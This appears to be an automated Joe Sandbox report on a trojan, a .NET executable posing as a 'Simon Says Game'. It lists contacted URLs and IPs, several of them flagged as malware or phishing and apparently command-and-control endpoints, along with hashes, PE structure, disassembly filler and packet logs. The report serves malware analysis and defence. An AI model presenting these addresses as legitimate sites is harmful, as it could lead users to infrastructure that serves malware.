http://www.vinewineltd.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.rhoads-music.com/u1p5/www.verifyaxcx.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hokabrazil.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.yannickrast.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.agengrosirfashion.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	H4vBtZsi8xAKaMm.exe, 00000001.00000002.340265098.0000000001987000.00000004.00000020.00020000.00000000.sdmp, H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.vinewineltd.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fontbureau.comF	H4vBtZsi8xAKaMm.exe, 00000001.00000002.340265098.0000000001987000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.verifyaxcx.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vzn2aai2qj.icu	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hornnbach.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.deutscheno1.com/u1p5/www.yannickrast.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comm	H4vBtZsi8xAKaMm.exe, 00000001.00000002.340265098.0000000001987000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.kailibianminwang.com/u1p5/.	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.hornnbach.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.vzn2aai2qj.icu/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.deutscheno1.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.rhoads-music.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	explorer.exe, 0000001E.00000003.568649594.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.565231882.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.567907070.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.606120571.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.deutscheno1.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.0.78.24	marymarinho.com	United States	2635	AUTOMATTICUS	false
92.222.235.170	bettingweb365.com	France	16276	OVHFR	false
107.180.34.104	shitcoin.team	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	562156
Start date:	28.01.2022
Start time:	15:14:32
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 49s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	H4vBtZsi8xAKaMm.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@9/1@8/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 65.3% (good quality ratio 59.3%) Quality average: 71.4% Quality standard deviation: 32%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SearchUI.exe, dllhost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, ShellExperienceHost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe, mobsync.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.3.108.67, 20.82.209.183, 8.248.143.254, 8.253.95.120, 8.253.207.121, 8.241.126.121, 8.248.133.254, 20.199.120.182, 20.199.120.151, 80.67.82.211, 80.67.82.235, 40.91.112.76, 20.54.7.98, 40.112.88.60, 20.199.120.85, 204.79.197.200, 13.107.21.200, 51.104.136.2
Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, wus2-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www.bing.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, dual-a-0001.a-msedge.net, wu-shim.trafficmanager.net, ris-prod.trafficmanager.ne
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:16:07	API Interceptor	1x Sleep call for process: H4vBtZsi8xAKaMm.exe modified
15:17:18	API Interceptor	450x Sleep call for process: explorer.exe modified

Process:	C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
MD5:	1DC1A2DCC9EFAA84EABF4F6D6066565B
SHA1:	B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
SHA-256:	28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
SHA-512:	95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.905438661946074
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	H4vBtZsi8xAKaMm.exe
File size:	1304576
MD5:	7eabab04e4a6fdd45238e32ed81e222c
SHA1:	e0e1dc469746f5e2e049ea4a93d9b09a9227b342
SHA256:	b79d2d02fe777cfd64723ad9b3935b30c00cbc75614fcadbf867cce88df4a8fd
SHA512:	eeaa0f02a15a66b3363f94730ad3cf7c533a4bf303cfa0f53b21959a54dc0f65c50b1ac179aa5f992e3e17bbfaaa1b7393da3d1859ddd51932d36bdf0b7fa21b
SSDEEP:	24576:Xn0jA6ehzLFCgTrc1zKViGWIANSCqCmURrOrSO/8dVnJE0RujU88WyPZxG:X96e1d4171NNSCquRiFjD/8WyRk
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e..a..............P..D...........b... ........@.. .......................@............@................................

File Icon


Icon Hash:	b2b2929292b2b2b2

Static PE Info

General

Entrypoint:	0x5362ea
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61F09D65 [Wed Jan 26 01:01:25 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x136298	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x138000	0x9f74	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x142000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x136160	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1342f0	0x134400	False	0.912575875659	data	7.91694602687	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x138000	0x9f74	0xa000	False	0.159008789062	data	6.8397629142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x142000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x138120	0x4c28	dBase IV DBT, blocks size 0, block length 18432, next free block index 40, next free block 0, next used block 16777216
RT_ICON	0x13cd58	0x4c28	dBase IV DBT, blocks size 0, block length 18432, next free block index 40, next free block 0, next used block 16777216
RT_GROUP_ICON	0x141990	0x22	data
RT_VERSION	0x1419c4	0x3b0	data
RT_MANIFEST	0x141d84	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Francisco Laria 2007
Assembly Version	1.0.0.0
InternalName	760pQ.exe
FileVersion	1.0.0.0
CompanyName	Francisco Laria
LegalTrademarks
Comments	A .NET version of the classic board game.
ProductName	Simon Says Game
ProductVersion	1.0.0.0
FileDescription	Simon Says Game
OriginalFilename	760pQ.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source IP	Dest IP
01/28/22-15:17:54.685247	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.7	8.8.8.8
01/28/22-15:17:55.551640	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.7	8.8.8.8
01/28/22-15:17:57.802015	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.7	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 28, 2022 15:16:23.253470898 CET	49686	80	192.168.2.7	173.222.108.210
Jan 28, 2022 15:16:23.270128965 CET	80	49686	173.222.108.210	192.168.2.7
Jan 28, 2022 15:16:23.270261049 CET	49686	80	192.168.2.7	173.222.108.210
Jan 28, 2022 15:16:24.966999054 CET	80	49684	93.184.220.29	192.168.2.7
Jan 28, 2022 15:16:24.967207909 CET	49684	80	192.168.2.7	93.184.220.29
Jan 28, 2022 15:16:27.496630907 CET	80	49692	93.184.220.29	192.168.2.7
Jan 28, 2022 15:16:27.496728897 CET	49692	80	192.168.2.7	93.184.220.29
Jan 28, 2022 15:17:12.899142027 CET	49684	80	192.168.2.7	93.184.220.29
Jan 28, 2022 15:17:12.899296045 CET	49682	80	192.168.2.7	173.222.108.210
Jan 28, 2022 15:17:12.916321039 CET	80	49682	173.222.108.210	192.168.2.7
Jan 28, 2022 15:17:12.916470051 CET	49682	80	192.168.2.7	173.222.108.210
Jan 28, 2022 15:17:12.919374943 CET	80	49684	93.184.220.29	192.168.2.7
Jan 28, 2022 15:17:12.920589924 CET	49684	80	192.168.2.7	93.184.220.29
Jan 28, 2022 15:17:22.192085981 CET	49692	80	192.168.2.7	93.184.220.29
Jan 28, 2022 15:18:48.838774920 CET	49880	80	192.168.2.7	107.180.34.104
Jan 28, 2022 15:18:48.949897051 CET	80	49880	107.180.34.104	192.168.2.7
Jan 28, 2022 15:18:48.949994087 CET	49880	80	192.168.2.7	107.180.34.104
Jan 28, 2022 15:18:48.952475071 CET	49880	80	192.168.2.7	107.180.34.104
Jan 28, 2022 15:18:49.070127010 CET	80	49880	107.180.34.104	192.168.2.7
Jan 28, 2022 15:18:49.070324898 CET	49880	80	192.168.2.7	107.180.34.104
Jan 28, 2022 15:18:49.070355892 CET	49880	80	192.168.2.7	107.180.34.104
Jan 28, 2022 15:18:49.182204008 CET	80	49880	107.180.34.104	192.168.2.7
Jan 28, 2022 15:19:12.004883051 CET	49885	80	192.168.2.7	192.0.78.24
Jan 28, 2022 15:19:12.021564960 CET	80	49885	192.0.78.24	192.168.2.7
Jan 28, 2022 15:19:12.024972916 CET	49885	80	192.168.2.7	192.0.78.24
Jan 28, 2022 15:19:12.066575050 CET	49885	80	192.168.2.7	192.0.78.24
Jan 28, 2022 15:19:12.083214998 CET	80	49885	192.0.78.24	192.168.2.7
Jan 28, 2022 15:19:12.220340014 CET	80	49885	192.0.78.24	192.168.2.7
Jan 28, 2022 15:19:12.220377922 CET	80	49885	192.0.78.24	192.168.2.7
Jan 28, 2022 15:19:12.220552921 CET	49885	80	192.168.2.7	192.0.78.24
Jan 28, 2022 15:19:12.220606089 CET	49885	80	192.168.2.7	192.0.78.24
Jan 28, 2022 15:19:12.239855051 CET	80	49885	192.0.78.24	192.168.2.7
Jan 28, 2022 15:19:35.543049097 CET	49887	80	192.168.2.7	92.222.235.170
Jan 28, 2022 15:19:35.572104931 CET	80	49887	92.222.235.170	192.168.2.7
Jan 28, 2022 15:19:35.572236061 CET	49887	80	192.168.2.7	92.222.235.170
Jan 28, 2022 15:19:35.623141050 CET	49887	80	192.168.2.7	92.222.235.170
Jan 28, 2022 15:19:35.652195930 CET	80	49887	92.222.235.170	192.168.2.7
Jan 28, 2022 15:19:35.810760975 CET	80	49887	92.222.235.170	192.168.2.7
Jan 28, 2022 15:19:35.810784101 CET	80	49887	92.222.235.170	192.168.2.7
Jan 28, 2022 15:19:35.811115026 CET	49887	80	192.168.2.7	92.222.235.170
Jan 28, 2022 15:19:35.813723087 CET	49887	80	192.168.2.7	92.222.235.170
Jan 28, 2022 15:19:35.842775106 CET	80	49887	92.222.235.170	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 28, 2022 15:17:48.665153027 CET	64296	53	192.168.2.7	8.8.8.8
Jan 28, 2022 15:17:49.667907953 CET	64296	53	192.168.2.7	8.8.8.8
Jan 28, 2022 15:17:50.688549042 CET	64296	53	192.168.2.7	8.8.8.8
